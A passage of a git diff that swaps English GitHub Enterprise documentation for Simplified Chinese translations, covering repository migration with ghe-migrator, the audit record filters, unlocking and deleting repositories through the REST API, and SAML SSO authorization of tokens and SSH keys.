在迁移过程中,您可以选择将此禁用。 +| Webhook | 仅迁移有效的 web 挂钩。 +| 仓库部署密钥 | 将迁移仓库部署密钥。 +| 受保护的分支 | 将迁移受保护分支设置和关联的数据。 diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md index 857f19fd91..af27a2bcd6 100644 --- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Exporting migration data from your enterprise -intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.' +title: 从企业导出迁移数据 +intro: '要更改平台或从试用实例迁移到生产实例,可以通过准备实例、锁定仓库和生成迁移存档来从 {% data variables.product.prodname_ghe_server %} 实例导出迁移数据。' redirect_from: - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server @@ -18,43 +18,49 @@ topics: - Enterprise - Migration shortTitle: Export from your enterprise +ms.openlocfilehash: 5bff2e21a493cc35448d68daf87aa87ed82a8a28 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145098943' --- -## Preparing the {% data variables.product.prodname_ghe_server %} source instance +## 准备 {% data variables.product.prodname_ghe_server %} 源实例 -1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/). +1. 验证您在 {% data variables.product.prodname_ghe_server %} 源上是站点管理员。 执行此操作的最佳方法是验证是否可以[通过 SSH 连接到实例](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)。 -2. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance. +2. 在 {% data variables.product.prodname_ghe_server %} 源实例上{% data reusables.enterprise_migrations.token-generation %}。 {% data reusables.enterprise_migrations.make-a-list %} -## Exporting the {% data variables.product.prodname_ghe_server %} source repositories +## 导出 {% data variables.product.prodname_ghe_server %} 源仓库 {% data reusables.enterprise_migrations.locking-repositories %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL: - * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed. +2. 要准备需要导出的存储库,请使用 `ghe-migrator add` 命令和存储库的 URL: + * 如果要锁定存储库,请在命令后附加 `--lock`。 如果要执行试用运行,则不需要 `--lock`。 ```shell - $ ghe-migrator add https://HOSTNAME/USERNAME/REPO-NAME --lock + $ ghe-migrator add https://hostname/username/reponame --lock ``` - * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %} - * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file. + * 可以通过将 `--exclude_attachments` 附加到命令来排除文件附件。 {% data reusables.enterprise_migrations.exclude-file-attachments %} + * 要一次准备多个将导出的存储库,请创建一个文本文件并在单独的行中列出每个存储库 URL,然后运行包含 `ghe-migrator add` 标志和文本文件路径的 `-i` 命令。 ```shell - $ ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URL.txt + $ ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URLS.txt ``` -3. When prompted, enter your {% data variables.product.prodname_ghe_server %} username: +3. 出现提示时,请输入您的 {% data variables.product.prodname_ghe_server %} 用户名: ```shell Enter username authorized for migration: admin ``` -4. When prompted for a {% data variables.product.pat_generic %}, enter the access token you created in "[Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance)": +4. 系统提示输入个人访问令牌时,请输入你在“[准备 {% data variables.product.prodname_ghe_server %} 源实例](#preparing-the-github-enterprise-server-source-instance)”中创建的访问令牌: ```shell - Enter {% data variables.product.pat_generic %}: ************** + Enter personal access token: ************** ``` -5. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export. +5. 在 `ghe-migrator add` 完成后,它将打印自身生成并用于标识此导出的唯一的“迁移 GUID”以及添加到导出中的资源列表。 你将使用它在后续 `ghe-migrator add` 和 `ghe-migrator export` 步骤中生成的迁移 GUID,来指示 `ghe-migrator` 继续对同一导出进行操作。 ```shell > 101 models added to export - > Migration GUID: EXAMPLE-MIGRATION-GUID + > Migration GUID: example-migration-guid > Number of records in this migration: > users | 5 > organizations | 1 @@ -73,33 +79,33 @@ shortTitle: Export from your enterprise > attachments | 4 > projects | 2 ``` - Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**. + 每次您添加包含现有迁移 GUID 的新仓库时,它都会更新现有导出。 如果在没有迁移 GUID的情况下再次运行 `ghe-migrator add`,将会启动新的导出并生成新的迁移 GUID。 开始准备要导入的迁移时,不要再次使用在导出过程中生成的迁移 GUID。 -3. If you locked the source repository, you can use the `ghe-migrator target_url` command to set a custom lock message on the repository page that links to the repository's new location. Pass the source repository URL, the target repository URL, and the Migration GUID from Step 5: +3. 如果锁定了源存储库,则可以使用 `ghe-migrator target_url` 命令,在链接到存储库新位置的存储库页面上设置自定义锁定消息。 传递源仓库 URL、目标仓库 URL 和第 5 步中的迁移 GUID: ```shell - $ ghe-migrator target_url https://HOSTNAME/USERNAME/REPO-NAME https://TARGET-HOSTNAME/TARGET-USER-NAME/TARGET-REPO-NAME -g MIGRATION-GUID + $ ghe-migrator target_url https://hostname/username/reponame https://target_hostname/target_username/target_reponame -g MIGRATION_GUID ``` -6. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5: +6. 若要将更多存储库添加到同一导出,请使用带有 `-g` 标志的 `ghe-migrator add` 命令。 您需要传入新仓库 URL 和第 5 步中的迁移 GUID: ```shell - $ ghe-migrator add https://HOSTNAME/USERNAME/OTHER-REPO-NAME -g MIGRATION-GUID --lock + $ ghe-migrator add https://hostname/username/other_reponame -g MIGRATION_GUID --lock ``` -7. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5: +7. 添加完存储库后,请使用包含 `-g` 标志和第 5 步中的迁移 GUID 的 `ghe-migrator export` 命令生成迁移存档: ```shell - $ ghe-migrator export -g MIGRATION-GUID - > Archive saved to: /data/github/current/tmp/MIGRATION-GUID.tar.gz + $ ghe-migrator export -g MIGRATION_GUID + > Archive saved to: /data/github/current/tmp/MIGRATION_GUID.tar.gz ``` * {% data reusables.enterprise_migrations.specify-staging-path %} -8. Close the connection to {% data variables.location.product_location %}: +8. 关闭与 {% data variables.product.product_location %} 的连接: ```shell $ exit > logout - > Connection to HOSTNAME closed. + > Connection to hostname closed. ``` -9. Copy the migration archive to your computer using the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID: +9. 使用 [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) 命令将迁移存档复制到计算机。 存档文件将使用迁移 GUID 命名: ```shell - $ scp -P 122 admin@HOSTNAME:/data/github/current/tmp/MIGRATION-GUID.tar.gz ~/Desktop + $ scp -P 122 admin@hostname:/data/github/current/tmp/MIGRATION_GUID.tar.gz ~/Desktop ``` {% data reusables.enterprise_migrations.ready-to-import-migrations %} diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md index ac34326e09..5559486f69 100644 --- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md +++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md @@ -1,6 +1,6 @@ --- -title: Migrating data to and from your enterprise -intro: 'You can export user, organization, and repository data from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_dotcom_the_website %}, then import that data into {% data variables.location.product_location %}.' +title: 将数据迁移到企业或从企业迁移数据 +intro: '可以从 {% data variables.product.prodname_ghe_server %} 或 {% data variables.product.prodname_dotcom_the_website %} 导出用户、组织和存储库数据,然后将此数据导入至 {% data variables.product.product_location %}。' redirect_from: - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise - /enterprise/admin/categories/migrations-and-upgrades @@ -18,5 +18,11 @@ children: - /migrating-data-to-your-enterprise - /importing-data-from-third-party-version-control-systems shortTitle: Migration for an enterprise +ms.openlocfilehash: 1f08da59c2b9330f2230f8377230132bc2a57704 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145098942' --- diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md index b19fb060b4..89227e5aa8 100644 --- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Migrating data to your enterprise -intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.' +title: 将数据迁移到企业 +intro: '生成迁移存档后,您可以将数据导入目标 {% data variables.product.prodname_ghe_server %} 实例。 在将变更永久应用到目标实例之前,您需要检查变更,查看有无潜在的冲突。' redirect_from: - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server @@ -19,21 +19,27 @@ topics: - Enterprise - Migration shortTitle: Import to your enterprise +ms.openlocfilehash: 19bd9e1e8cee072e8a8f00861e2d8f876b5b8450 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717667' --- -## Applying the imported data on {% data variables.product.prodname_ghe_server %} +## 在 {% data variables.product.prodname_ghe_server %} 上应用导入的数据 -Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)." +在将数据迁移到企业之前,您必须准备数据并解决任何冲突。 有关详细信息,请参阅“[准备将数据迁移到企业](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)”。 -After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}. +在准备数据并解决冲突后,您可以将导入的数据应用于 {% data variables.product.product_name %}。 {% data reusables.enterprise_installation.ssh-into-target-instance %} -2. Using the `ghe-migrator import` command, start the import process. You'll need: - * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)." - * Your {% data variables.product.pat_generic %} for authentication. The {% data variables.product.pat_generic %} that you use is only for authentication as a site administrator, and does not require any specific scope{% ifversion pat-v2 %} or permissions{% endif %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +2. 使用 `ghe-migrator import` 命令启动导入过程。 需要: + * 迁移 GUID。 有关详细信息,请参阅“[准备将数据迁移到企业](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)”。 + * 用于身份验证的个人访问令牌。 您使用的个人访问令牌仅用于站点管理员身份验证,不需要任何特定范围。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 ```shell - $ ghe-migrator import /home/admin/MIGRATION-GUID.tar.gz -g MIGRATION-GUID -u USERNAME -p TOKEN + $ ghe-migrator import /home/admin/MIGRATION_GUID.tar.gz -g MIGRATION_GUID -u username -p TOKEN > Starting GitHub::Migrator > Import 100% complete / @@ -41,113 +47,110 @@ After you prepare the data and resolve conflicts, you can apply the imported dat * {% data reusables.enterprise_migrations.specify-staging-path %} -## Reviewing migration data +## 检查迁移数据 -By default, `ghe-migrator audit` returns every record. It also allows you to filter records by: +默认情况下,`ghe-migrator audit` 返回每条记录。 它还可以让您按以下方式筛选记录: - * The types of records. - * The state of the records. + * 记录的类型。 + * 记录的状态。 -The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data). +记录类型与[迁移数据](/enterprise/admin/guides/migrations/about-migrations/#migrated-data)中的记录类型相匹配。 -## Record type filters +## 记录类型筛选器 -| Record type | Filter name | +| 记录类型 | 筛选器名称 | |-----------------------|--------| -| Users | `user` -| Organizations | `organization` -| Repositories | `repository` +| 用户 | `user` +| 组织 | `organization` +| 存储库 | `repository` | Teams | `team` -| Milestones | `milestone` -| Project boards | `project` -| Issues | `issue` -| Issue comments | `issue_comment` -| Pull requests | `pull_request` -| Pull request reviews | `pull_request_review` -| Commit comments | `commit_comment` -| Pull request review comments | `pull_request_review_comment` -| Releases | `release` -| Actions taken on pull requests or issues | `issue_event` -| Protected branches | `protected_branch` +| 里程碑 | `milestone` +| 项目板 | `project` +| 问题 | `issue` +| 问题评论 | `issue_comment` +| 拉取请求 | `pull_request` +| 拉取请求审查 | `pull_request_review` +| 提交注释 | `commit_comment` +| 拉取请求审查评论 | `pull_request_review_comment` +| 版本 | `release` +| 在拉取请求或问题上进行的操作 | `issue_event` +| 受保护的分支 | `protected_branch` -## Record state filters +## 记录状态筛选器 -| Record state | Description | +| 记录状态 | 说明 | |-----------------|----------------| -| `export` | The record will be exported. | -| `import` | The record will be imported. | -| `map` | The record will be mapped. | -| `rename` | The record will be renamed. | -| `merge` | The record will be merged. | -| `exported` | The record was successfully exported. | -| `imported` | The record was successfully imported. | -| `mapped` | The record was successfully mapped. | -| `renamed` | The record was successfully renamed. | -| `merged` | The record was successfully merged. | -| `failed_export` | The record failed to export. | -| `failed_import` | The record failed to be imported. | -| `failed_map` | The record failed to be mapped. | -| `failed_rename` | The record failed to be renamed. | -| `failed_merge` | The record failed to be merged. | +| `export` | 将导出记录。 | +| `import` | 将导入记录。 | +| `map` | 将映射记录。 | +| `rename` | 将重命名记录。 | +| `merge` | 将合并记录。 | +| `exported` | 已成功导出记录。 | +| `imported` | 已成功导入记录。 | +| `mapped` | 已成功映射记录。 | +| `renamed` | 已成功重命名记录。 | +| `merged` | 已成功合并记录。 | +| `failed_export` | 记录导出失败。 | +| `failed_import` | 记录导入失败。 | +| `failed_map` | 记录映射失败。 | +| `failed_rename` | 记录重命名失败。 | +| `failed_merge` | 记录合并失败。 | -## Filtering audited records +## 筛选审核的记录 -With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this: +通过 `ghe-migrator audit` 命令,可以使用 `-m` 标志根据记录类型进行筛选。 同样,可以使用 `-s` 标志筛选导入状态。 命令如下所示: ```shell -$ ghe-migrator audit -m RECORD_TYPE -s STATE -g MIGRATION-GUID +$ ghe-migrator audit -m RECORD_TYPE -s STATE -g MIGRATION_GUID ``` -For example, to view every successfully imported organization and team, you would enter: +例如,要查看每个成功导入的组织和团队,您可以输入: ```shell -$ ghe-migrator audit -m organization,team -s mapped,renamed -g MIGRATION-GUID +$ ghe-migrator audit -m organization,team -s mapped,renamed -g MIGRATION_GUID > model_name,source_url,target_url,state > organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed ``` -**We strongly recommend auditing every import that failed.** To do that, you will enter: +**我们强烈建议审核每个失败的导入。** 为此,你将输入: ```shell -$ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g MIGRATION-GUID +$ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g MIGRATION_GUID > model_name,source_url,target_url,state > user,https://gh.source/octocat,https://gh.target/octocat,failed > repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed ``` -If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}. +如果您对失败的导入有任何疑问,请联系 {% data variables.contact.contact_ent_support %}。 -## Completing the import on {% data variables.product.prodname_ghe_server %} +## 在 {% data variables.product.prodname_ghe_server %} 上完成导入 -After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected. +在迁移应用到目标实例并且您已审查迁移后,您需要解锁仓库并将其从源中删除。 我们建议等待两周再删除您的源数据,以便确保所有数据都能按预期运行。 -## Unlocking repositories on the target instance +## 在目标实例上解锁仓库 -{% data reusables.enterprise_installation.ssh-into-instance %} -{% data reusables.enterprise_migrations.unlocking-on-instances %} +{% data reusables.enterprise_installation.ssh-into-instance %} {% data reusables.enterprise_migrations.unlocking-on-instances %} -## Unlocking repositories on the source +## 在源上解锁仓库 -### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %} - -To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to [the migration unlock endpoint](/free-pro-team@latest/rest/migrations#unlock-an-organization-repository). You'll need: - * Your access token for authentication - * The unique `id` of the migration - * The name of the repository to unlock +### 从 {% data variables.product.prodname_dotcom_the_website %} 上的组织解锁仓库 +若要解锁 {% data variables.product.prodname_dotcom_the_website %} 组织上的存储库,你需要向[迁移解锁终结点](/free-pro-team@latest/rest/migrations#unlock-an-organization-repository)发送 `DELETE` 请求。 需要: + * 身份验证的访问令牌 + * 迁移的唯一 `id` + * 要解锁的仓库的名称 ```shell -curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ +curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ - https://api.github.com/orgs/ORG-NAME/migrations/ID/repos/REPO_NAME/lock + https://api.github.com/orgs/orgname/migrations/id/repos/repo_name/lock ``` -### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %} +### 从 {% data variables.product.prodname_dotcom_the_website %} 上的组织中删除仓库 -After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/repos/#delete-a-repository). You'll need your access token for authentication: +解锁 {% data variables.product.prodname_dotcom_the_website %} 组织的存储库后,应该删除之前使用[存储库删除终结点](/rest/repos/#delete-a-repository)迁移的每个存储库。 您需要身份验证的访问令牌: ```shell -curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ - https://api.github.com/repos/ORG-NAME/REPO_NAME +curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ + https://api.github.com/repos/orgname/repo_name ``` -### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance +### 从 {% data variables.product.prodname_ghe_server %} 实例解锁仓库 -{% data reusables.enterprise_installation.ssh-into-instance %} -{% data reusables.enterprise_migrations.unlocking-on-instances %} +{% data reusables.enterprise_installation.ssh-into-instance %} {% data reusables.enterprise_migrations.unlocking-on-instances %} diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md index cc1537e412..a5eefedeb2 100644 --- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md +++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: Authorizing a personal access token for use with SAML single sign-on -intro: 'To use a {% data variables.product.pat_v1 %} with an organization that uses SAML single sign-on (SSO), you must first authorize the token.' +title: 授权用于 SAML 单点登录的个人访问令牌 +intro: 要将个人访问令牌用于使用 SAML 单点登录 (SSO) 的组织,必须先授权该令牌。 redirect_from: - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on @@ -10,24 +10,27 @@ versions: ghec: '*' topics: - SSO -shortTitle: '{% data variables.product.pat_generic_caps %} with SAML' +shortTitle: PAT with SAML +ms.openlocfilehash: a6e1d4c2e1fa5cf1f4738e06127c5e7875a2ef5d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145098940' --- -You must authorize your {% data variables.product.pat_v1 %} after creation before the token can access an organization that uses SAML single sign-on (SSO). For more information about creating a new {% data variables.product.pat_v1 %}, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion pat-v2 %} {% data variables.product.pat_v2_caps %}s are authorized during token creation, before access to the organization is granted.{% endif %} +可以授权现有的个人访问令牌,也可以[创建新的个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)然后对其进行授权。 {% data reusables.saml.must-authorize-linked-identity %} {% data reusables.saml.authorized-creds-info %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.personal_access_tokens %} -3. Next to the token you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.personal_access_tokens %} +3. 在要授权的令牌旁边,单击“配置 SSO”。 + ![用于为个人访问令牌配置 SSO 的下拉菜单的屏幕截图](/assets/images/help/settings/sso-allowlist-button.png) +4. 在要为其授权令牌的组织右侧,单击“授权”。 + ![令牌授权按钮](/assets/images/help/settings/token-authorize-button.png) - ![Screenshot of the dropdown menu to configure SSO for a {% data variables.product.pat_v1 %}](/assets/images/help/settings/sso-allowlist-button.png) -4. To the right of the organization you'd like to authorize the token for, click **Authorize**. - ![Token authorize button](/assets/images/help/settings/token-authorize-button.png) +## 延伸阅读 -## Further reading - -- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" -- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)" +- [创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token) +- [关于使用 SAML 单一登录进行身份验证](/articles/about-authentication-with-saml-single-sign-on) diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md index 06c4f1baf5..9952ae408f 100644 --- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md +++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: Authorizing an SSH key for use with SAML single sign-on -intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.' +title: 授权用于 SAML 单点登录的 SSH 密钥 +intro: 要将 SSH 密钥用于使用 SAML 单点登录 (SSO) 的组织,必须先授权该密钥。 redirect_from: - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on @@ -11,8 +11,14 @@ versions: topics: - SSO shortTitle: SSH Key with SAML +ms.openlocfilehash: 11df62f1a4adc5a0de1f54efbccafe71ad0feb83 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145099902' --- -You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." +您可以授权现有 SSH 密钥,或者创建新 SSH 密钥后再授权。 有关创建新的 SSH 密钥的详细信息,请参阅“[生成新 SSH 密钥并添加到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 {% data reusables.saml.must-authorize-linked-identity %} @@ -20,20 +26,18 @@ You can authorize an existing SSH key, or create a new SSH key and then authoriz {% note %} -**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." +注意:如果你的 SSH 密钥授权被组织撤销,你将无法再授权该密钥。 此时您需要创建新 SSH 密钥并授权。 有关创建新的 SSH 密钥的详细信息,请参阅“[生成新 SSH 密钥并添加到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 {% endnote %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. To the right of the SSH key you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 在要授权的 SSH 密钥旁边,单击“启用 SSO”或“禁用 SSO” 。 +![SSO 令牌授权按钮](/assets/images/help/settings/ssh-sso-button.png) +4. 找到要为其授权访 SSH 密钥的组织。 +5. 单击“授权”。 +![令牌授权按钮](/assets/images/help/settings/ssh-sso-authorize.png) - ![Screenshot of the SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png) -1. To the right of the organization you'd like to authorize the SSH key for, click **Authorize**. +## 延伸阅读 - ![Screenshot of the token authorize button](/assets/images/help/settings/ssh-sso-authorize.png) - -## Further reading - -- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)" -- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)" +- “[检查现有 SSH 密钥](/articles/checking-for-existing-ssh-keys)” +- “[关于使用 SAML 单一登录进行身份验证](/articles/about-authentication-with-saml-single-sign-on)” diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md index 1e7cde5e8d..4fdbca9708 100644 --- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md +++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md @@ -1,6 +1,6 @@ --- -title: Adding a new SSH key to your GitHub account -intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to use your new (or existing) SSH key, you''ll also need to add the key to your account.' +title: 新增 SSH 密钥到 GitHub 帐户 +intro: '要在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上配置帐户以使用新的(或现有的)SSH 密钥,还需要将密钥添加到帐户。' redirect_from: - /articles/adding-a-new-ssh-key-to-your-github-account - /github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account @@ -13,77 +13,148 @@ versions: topics: - SSH shortTitle: Add a new SSH key +ms.openlocfilehash: c53fe44c92a5ef22a4c031c840fd57ccef508f1d +ms.sourcegitcommit: d186fc3b5766172b09b4e7370ae888c2523ac24a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/06/2022 +ms.locfileid: '147507981' --- +## 关于向帐户添加 SSH 密钥 -## About addition of SSH keys to your account +{% data reusables.ssh.about-ssh %} 有关详细信息,请参阅“[关于 SSH](/authentication/connecting-to-github-with-ssh/about-ssh)”。 -{% data reusables.ssh.about-ssh %} For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." +生成 SSH 密钥对后,必须将公钥添加到 {% ifversion fpt or ghec or ghes %}{% data variables.product.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 以启用帐户的 SSH 访问。 -{% ifversion ssh-commit-verification %}You can also use SSH to sign commits and tags. For more information about commit signing, see "[About commit signature verification](/articles/about-commit-signature-verification)."{% endif %} +## 先决条件 -After you generate an SSH key pair, you must add the public key to {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to enable SSH access for your account. +在将新的 SSH 密钥添加到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户之前,请完成以下步骤。 -## Prerequisites +1. 检查现有 SSH 密钥。 有关详细信息,请参阅“[检查现有 SSH 密钥](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)”。 +1. 生成新的 SSH 密钥,并将其添加到计算机的 SSH 代理。 有关详细信息,请参阅“[生成新的 SSH 密钥并将其添加到 